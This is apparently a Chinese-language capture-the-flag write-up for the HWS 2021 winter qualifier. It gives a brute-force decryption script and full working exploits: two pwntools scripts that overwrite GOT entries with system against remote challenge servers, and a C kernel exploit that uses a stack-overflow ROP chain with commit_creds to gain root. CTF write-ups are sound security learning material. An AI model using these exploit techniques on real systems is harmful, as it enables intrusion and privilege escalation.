HWS冬令营线上选拔赛2021

write up

Posted by X1ng on February 2, 2021

菜就算了还要出去玩,只抽空做了几个简单题,第一次做内核题才发现不会上传exp。。。。

REVERSE

decryption

主要加密逻辑

  for ( i = 0; i <= 31; ++i )
  {
    v2 = i ^ flag[i];
    v3 = i & flag[i];
    v7 = flag[i];
    v6 = i;
    do
    {
      v4 = 2 * (v6 & v7);
      v7 ^= v6;
      v6 = v4;
    }
    while ( v4 );
    result = &cipher[i];
    cipher[i] = v7 ^ 0x23;
  }

不知道是不是可逆的加密,,反正是想不出怎么解密

写脚本爆破

buf = [0x12,0x45,0x10,0x47,0x19,0x49,0x49,0x49,0x1a,0x4f,0x1c,0x1e,0x52,0x66,0x1d,0x52,0x66,0x67,0x68,0x67,0x65,0x6f,0x5f
,0x59,0x58,0x5e,0x6d,0x70,0xa1,0x6e,0x70,0xa3]
flag = []

for i in range(0x20):
	for j in range(0xff):
		v7 = j
		v6 = i
		while 1:
			v4 = 2 * (v6 & v7)
			v7 ^= v6
			v6 = v4
			if v4==0 :
				break
		if v7 ^ 0x23 == buf[i]:
			flag.append(j)
			break		
print([chr(k) for k in flag])
print(len(flag))
#1e1a6edc1c52e80b539127fccd48f05a				   

PWN

emarm

例行检查

先输入一个字符绕过strncmp的检查

一次任意地址写的机会,因为后面有一个参数可控的函数atoi,所以直接修改atoi函数的got表项为system

exp:

#!/usr/bin/python 

from pwn import *
import sys

context.log_level = 'debug'

binary_name='emarm'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)


ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))


libcbase = 0x4000830000
atoi_got = 0x412020
system = libcbase + libc.sym['system']
print(hex(system))

while(1):
	try:
		p = remote("183.129.189.60",10012)
		sla('passwd:','d')
		sd(str(atoi_got))
		ru('you will success')
		sd(p64(system))
		sla('you bye','sh\x00')
		ia()
	except:
		print('error')


ememarm

例行检查

read函数导致的off-by-null漏洞,分配chunk到got改free函数的got表项

exp:

#!/usr/bin/python 

from pwn import *
import sys
context.log_level = 'debug'

binary_name='ememarm'
libc_name='libc.so.6'

libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)


if sys.argv[1] == "r":
    p = remote("183.129.189.60",10034)
elif sys.argv[1] == "l":
    p = process(["qemu-aarch64-static", "./"+binary_name])
else:
    p = process(["qemu-aarch64-static","-g","1234","./"+binary_name])

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))
      
def cho(num):
	sl(str(num))

def add(x,y,de=1):
	ru('you choice:')
	cho(1)
	sla('cx:',x)
	sla('cy:',y)
	sla('delete?',str(de))

def add2(x,y,de=1):
	ru('you choice:')
	cho(4)
	sla('cx:',x)
	sla('cy:',y)
	sla('delete?',str(de))

def edit(idx,con):
	ru('you choice:')
	cho(3)
	sl(str(idx))
	sd(con)

libcbase = 0x4000830000
free_got = 0x412038
system = libcbase + libc.sym['system']
scanf = libcbase + libc.sym['__isoc99_scanf']


ru('4268144')
sl('/bin/sh\x00')

add2('X1ng','X1ng')
add('X2ng','X2ng')
add('X3ng','X3ng')
add('X4ng','X4ng')

edit(3,'z'*0x18)
edit(3,p64(free_got)+b'\n')

add('a','a')

#add(p64(system),p64(scanf))

ru('you choice:')
cho(1)
ru('cx:')
sd(p64(system))
ru('cy:')
sd(p64(scanf))
sla('delete?','0')

cho(5)
ia()

内核安全

dd_kernel

漏洞在write函数中检查size时

.text:0000000000000026                 cmp     dl, 7

只要大于0xffff就可以绕过检查可以栈溢出,直接rop利用

exp:

//gcc  -o exp exp.c -static

#include <stdio.h>

#include <pthread.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>


#define pop_rdi_ret 0xffffffff81204faf//pop rdi; ret;

#define swapgs_popfq_ret 0xffffffff8100c86a//swapgs; popfq; ret;

#define iretq 0xffffffff8100c33a// iret;

#define mov_rax_rdi 0xffffffff8104ecf4//mov rax,rdi; pop rbp; ret;


#define vmlinux_base 0xffffffff81000000

#define dev_text_base 0xffffffffa0000000


#define KERNCALL __attribute__((regparm(3)))



void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff8105d157; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff8105d235; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");

}

void shell()
{
	printf("[+]root\n");
	system("/bin/sh");
	exit(0);
}

int get()
{
	commit_creds(prepare_kernel_cred(0));
	asm(
		"pushq   %0;"
		"pushq   %1;"
		"pushq   %2;"
		"pushq   %3;"
		"pushq   $shell;"
		"pushq   $0;"
		"swapgs;"
		"popq    %%rbp;"
		"iretq;"
		::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)
	);
}

size_t buf[0x10000];

int main()
{

	printf("[+]open drive\n");
	int fd = open("/proc/doudou",O_RDWR);
	if (fd < 0) {
		printf("[-] bad open device\n");
		exit(-1);
	}

	unsigned long sz = 0x10007;
	int i = 0;
	save_stat();
	buf[i++] = 0;
	buf[i++] = 0;
	buf[i++] = pop_rdi_ret;
	buf[i++] = 0;
	buf[i++] = prepare_kernel_cred;
	buf[i++] = mov_rax_rdi;
	buf[i++] = 0;
	buf[i++] = commit_creds;
	buf[i++] = swapgs_popfq_ret;
	buf[i++] = 0;
	buf[i++] = iretq;
	buf[i++] = (size_t)shell;
	buf[i++] = user_cs;
	buf[i++] = user_rflags;
	buf[i++] = user_sp;
	buf[i++] = user_ss;

	write(fd,buf,sz);
	printf("[+]finished\n");
	return 0;
}